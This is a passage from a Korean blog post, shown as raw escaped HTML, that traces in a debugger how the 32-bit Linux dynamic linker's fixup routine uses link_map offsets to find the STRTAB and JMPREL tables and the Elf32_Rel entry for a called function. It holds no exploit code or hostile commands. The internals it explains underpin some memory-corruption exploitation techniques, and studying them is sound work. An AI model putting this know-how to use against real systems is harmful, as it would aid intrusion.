&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;91&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/clViZF/btsF3e5gIIh/c4SIaKlnqeLIEY58uN9efk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/clViZF/btsF3e5gIIh/c4SIaKlnqeLIEY58uN9efk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/clViZF/btsF3e5gIIh/c4SIaKlnqeLIEY58uN9efk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FclViZF%2FbtsF3e5gIIh%2Fc4SIaKlnqeLIEY58uN9efk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;640&quot; height=&quot;91&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;91&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1711367336563&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;shell readelf -S plt_got | grep STRTAB | awk '{print $1, $2, $3, $4, $5}'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;0x080481c8이 STRTAB의 주소인지 확인해보기 위해 위의 명령을 이용해보면 STRTAB 타입으로 테이블이 총 4개 있는데, 그 중 .dynstr 테이블을 보면 0x80481c8인 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고) STRTAB 관련 참고 &lt;a href=&quot;https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/strtab_8cxx.html#a75d1e7e61739ba0d0211b3293e5ba9d3&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/strtab_8cxx.html#a75d1e7e61739ba0d0211b3293e5ba9d3&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;link_map을 이용해 STRTAB 테이블 주소 구하는 과정&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;467&quot; data-origin-height=&quot;323&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYoaRI/btsF2M83FyC/OQcCLK4oYkAOyL3ui0I5k0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYoaRI/btsF2M83FyC/OQcCLK4oYkAOyL3ui0I5k0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYoaRI/btsF2M83FyC/OQcCLK4oYkAOyL3ui0I5k0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYoaRI%2FbtsF2M83FyC%2FOQcCLK4oYkAOyL3ui0I5k0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;467&quot; height=&quot;323&quot; data-origin-width=&quot;467&quot; data-origin-height=&quot;323&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;39&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tuM7I/btsF5TMwiav/sCkQTAGv2GOSXFnLKDNLJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tuM7I/btsF5TMwiav/sCkQTAGv2GOSXFnLKDNLJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tuM7I/btsF5TMwiav/sCkQTAGv2GOSXFnLKDNLJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtuM7I%2FbtsF5TMwiav%2FsCkQTAGv2GOSXFnLKDNLJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;39&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;39&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bijBtx/btsF4YAMPnr/pCc7nBa5qoeNa2Qb7MCHWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bijBtx/btsF4YAMPnr/pCc7nBa5qoeNa2Qb7MCHWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bijBtx/btsF4YAMPnr/pCc7nBa5qoeNa2Qb7MCHWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbijBtx%2FbtsF4YAMPnr%2FpCc7nBa5qoeNa2Qb7MCHWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;108&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;112&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cUMehK/btsF4zA6FVU/Ytpi2829mgigaFpQqgUQLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cUMehK/btsF4zA6FVU/Ytpi2829mgigaFpQqgUQLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cUMehK/btsF4zA6FVU/Ytpi2829mgigaFpQqgUQLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcUMehK%2FbtsF4zA6FVU%2FYtpi2829mgigaFpQqgUQLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;112&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;112&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;fixup 함수 내에서 0x4000a763 주소의 명령을 수행하면 edx에 STRTAB의 주소가 담기게 될 것이라는 것을 확인했다.&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;(아직 0x4000a763 주소를 실행하진 않았지만, x 명령으로 조사하는 것으로 확인했다.)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;즉, 위에서 언급했듯이 link_map 구조체를 이용해 문자열 테이블인 STRTAB의 주소를 알아온다는 결과는 확인했는데, 그 과정을 자세히 알아본다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;위의 사진을 참고하면 현재 eip가 0x4000a763 주소를 가리킬 때의 스택과 위의 첫 번째 사진 속 빨간 색 박스 부분의 명령들이 중요하다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;(참고로 0x4000a758 주소에서 edx 레지스터에 있는 값을 ecx 레지스터로 옮기는데, 이는 reloc_offset 값을 ecx 레지스터에 담는 것이다.)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;먼저, 스택에서 주황색 박스인 부분은 이전에 fixup 함수를 호출하기 전에 구성된 스택이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;그리고 &amp;nbsp;파란색 박스는 fixup 함수를 호출하면서 스택에 쌓인 RET 부분이고, 분홍색 박스는 SFP 부분이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;이어서 하얀색 박스와 빨간색 박스를 합쳐 20byte는 fixup 함수 내에서 지역 변수를 위해 확보하는 스택 공간이고,&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;나머지 보라색 박스는 오른쪽에서부터 차례대로 edi, esi, ebx의 값이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;이렇게 현재 스택의 구성 설명은 끝났다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;467&quot; data-origin-height=&quot;125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6SGnr/btsF40k6sKd/6Kkczi5JZUAgRgMtHKws1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6SGnr/btsF40k6sKd/6Kkczi5JZUAgRgMtHKws1K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6SGnr/btsF40k6sKd/6Kkczi5JZUAgRgMtHKws1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6SGnr%2FbtsF40k6sKd%2F6Kkczi5JZUAgRgMtHKws1K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;467&quot; height=&quot;125&quot; data-origin-width=&quot;467&quot; data-origin-height=&quot;125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;그리고 위의 빨간색 박스 부분의 명령들을 보면 ebp-20의 주소에 eax의 값을 넣는 것을 볼 수 있는데, eax에는 fixup 함수를 호출하기 전에 0x40013ed0(link_map) 주소가 들어있었으므로 위의 스택 사진에서 빨간색 박스 부분에 해당하는 ebp-20(0xbffffc80) 주소에 0x40013ed0(link_map) 주소가 들어있는 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;이어서 ebp-20에 있는 값 0x40013ed0(link_map)을 esi 레지스터에 옮기므로 esi 레지스터에는 link_map의 주소가 들어있는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;221&quot; data-origin-height=&quot;35&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cf7Fp7/btsF4x4ppcv/Eb7X7DNFQSgwBsATG3Yme0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cf7Fp7/btsF4x4ppcv/Eb7X7DNFQSgwBsATG3Yme0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cf7Fp7/btsF4x4ppcv/Eb7X7DNFQSgwBsATG3Yme0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcf7Fp7%2FbtsF4x4ppcv%2FEb7X7DNFQSgwBsATG3Yme0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;221&quot; height=&quot;35&quot; data-origin-width=&quot;221&quot; data-origin-height=&quot;35&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;이 상태에서 esi + 44(0x2c) 주소는 0x40013ed0(link_map) + 0x2c를 연산한 주소 0x40013efc이므로, 0x40013efc 주소에 있는 값을 edx에 옮긴다는 것인데, 위와 같이 0x40013efc 주소에는 0x80494bc 라는 값이 있고, 0x80494bc 값이 edx에 담긴다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;341&quot; data-origin-height=&quot;39&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/v1vVs/btsF3EvVXES/C4bYk34wceT4bgxcBQuZ1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/v1vVs/btsF3EvVXES/C4bYk34wceT4bgxcBQuZ1K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/v1vVs/btsF3EvVXES/C4bYk34wceT4bgxcBQuZ1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fv1vVs%2FbtsF3EvVXES%2FC4bYk34wceT4bgxcBQuZ1K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;341&quot; height=&quot;39&quot; data-origin-width=&quot;341&quot; data-origin-height=&quot;39&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;그리고 나서 edx + 4의 주소에 있는 값을 edx에 옮기는데, 이는 0x80494bc + 4를 연산한 주소&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;0x80494c0이고, 0x80494c0 주소에 있는 값은 위와 같이 0x80481c8(STRTAB) 주소이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;217&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/00Dyj/btsF647R7HS/r9bTIqKcJpjn75dTCBZbfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/00Dyj/btsF647R7HS/r9bTIqKcJpjn75dTCBZbfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/00Dyj/btsF647R7HS/r9bTIqKcJpjn75dTCBZbfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F00Dyj%2FbtsF647R7HS%2Fr9bTIqKcJpjn75dTCBZbfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;602&quot; height=&quot;217&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;217&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;마지막으로, 구한 0x80481c8(STRTAB) 주소를 ebp-8(0xbffffc8c)에 옮긴다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;(ebp-8(0xbffffc8c)에 0x80481c8(STRTAB) 주소가 담기는게 맞는지 확인해보기 위해 si 명령으로 0x4000a766 &amp;lt;fixup+38&amp;gt; 주소의 명령을 수행하고, 스택을 보면 맞게 잘 들어갔다는것을 확인할 수 있다.&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;정리해보면, fixup 함수를 호출하기 전 eax 레지스터를 통해 넘긴 link_map(0x40013ed0)의 주소와 0x2c와 0x4라는 offset을 이용해 STRTAB(0x80481c8)의 주소를 구하고, ebp-8(0xbffffc8c)에 저장해둔다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;b&gt;link_map을 이용해 재배치 정보를 담고 있는 재배치 테이블의 시작점인 JMPREL의 주소를 얻어오기&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;참고)&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1711377956799&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/structElf32__Rel.html#addcf5ef67ababeb4940889e912c11eff

JMPREL은 재배치 정보를 담고 있는 테이블로, Elf32_Rel이라는 형식의 구조체들로 이루어져 있다.

Elf32_Rel 구조체는 8byte로 되어 있고, 처음 4byte는 GOT의 주소이며
다음 4byte에서 처음 1byte는 재배치 타입이고, 나머지 3byte는 .DYNSYM 테이블에서의 index를 나타낸다.

JMPREL 테이블에 있는 Elf32_Rel 형식의 구조체들 중 호출하는 함수에 해당하는 Elf32_Rel 형식의 구조체를 찾을려면
JMPREL의 시작 주소에 reloc_offset 값을 더하면 된다.

호출하는 함수에 해당하는 Elf32_Rel 형식의 구조체가 맞는지 확인하는 방법은
Elf32_Rel 형식의 구조체에서 맨 처음 4byte 값이 GOT의 주소이므로 해당 4byte 값이
호출하는 함수에 해당하는 GOT 주소인지를 대조해봄으로써 확인할 수 있다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;456&quot; data-origin-height=&quot;109&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUY9Xz/btsF2uAOPUX/BuhlntOi7dwBXStiKu25hK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUY9Xz/btsF2uAOPUX/BuhlntOi7dwBXStiKu25hK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUY9Xz/btsF2uAOPUX/BuhlntOi7dwBXStiKu25hK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUY9Xz%2FbtsF2uAOPUX%2FBuhlntOi7dwBXStiKu25hK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;456&quot; height=&quot;109&quot; data-origin-width=&quot;456&quot; data-origin-height=&quot;109&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;437&quot; data-origin-height=&quot;218&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdQoB7/btsF2EwAYll/rqEggkj3OD8aaq2xLZ8tk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdQoB7/btsF2EwAYll/rqEggkj3OD8aaq2xLZ8tk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdQoB7/btsF2EwAYll/rqEggkj3OD8aaq2xLZ8tk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdQoB7%2FbtsF2EwAYll%2FrqEggkj3OD8aaq2xLZ8tk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;437&quot; height=&quot;218&quot; data-origin-width=&quot;437&quot; data-origin-height=&quot;218&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;현재 esi 레지스터에는 0x40013ed0(link_map) 주소가 들어있고, 0x40013ed0 + 116(0x74)은 0x40013f44인데, 0x40013f44 주소 안에 있는 값은 0x80494fc이므로 edx에는 0x80494fc가 담기게 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;341&quot; data-origin-height=&quot;75&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1q1yK/btsF2MVwZpA/aqE1j2N97kCK7RF7jICkj1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1q1yK/btsF2MVwZpA/aqE1j2N97kCK7RF7jICkj1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1q1yK/btsF2MVwZpA/aqE1j2N97kCK7RF7jICkj1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1q1yK%2FbtsF2MVwZpA%2FaqE1j2N97kCK7RF7jICkj1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;341&quot; height=&quot;75&quot; data-origin-width=&quot;341&quot; data-origin-height=&quot;75&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;이어서 edx(0x80494fc) + 4는 0x8049500인데, 0x8049500 주소에 있는 값은 0x8048278이고, 0x8048278은 JMPREL주소이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;JMPREL의 시작 주소인 0x8048278 주소에서 8byte씩 출력해보면 처음 4byte는 GOT 주소이고, 그 다음 4byte의 처음 1byte는 0x07로 재배치 타입을 의미하며, 나머지 3byte는 0x000001로 .DYNSYM 테이블에서의 index를 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;406&quot; data-origin-height=&quot;74&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buVSGk/btsF2G2aMv0/9WhEhTnatRSsnuJaSiiLNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buVSGk/btsF2G2aMv0/9WhEhTnatRSsnuJaSiiLNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buVSGk/btsF2G2aMv0/9WhEhTnatRSsnuJaSiiLNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuVSGk%2FbtsF2G2aMv0%2F9WhEhTnatRSsnuJaSiiLNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;406&quot; height=&quot;74&quot; data-origin-width=&quot;406&quot; data-origin-height=&quot;74&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 이전에 언급했듯이 fixup 함수를 호출하기 전 edx에 담아뒀던 reloc_offset(0x8) 값을 ecx 레지스터에 옮겼었으므로 ecx 레지스터에는 reloc_offset(0x8) 값이 담겨있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
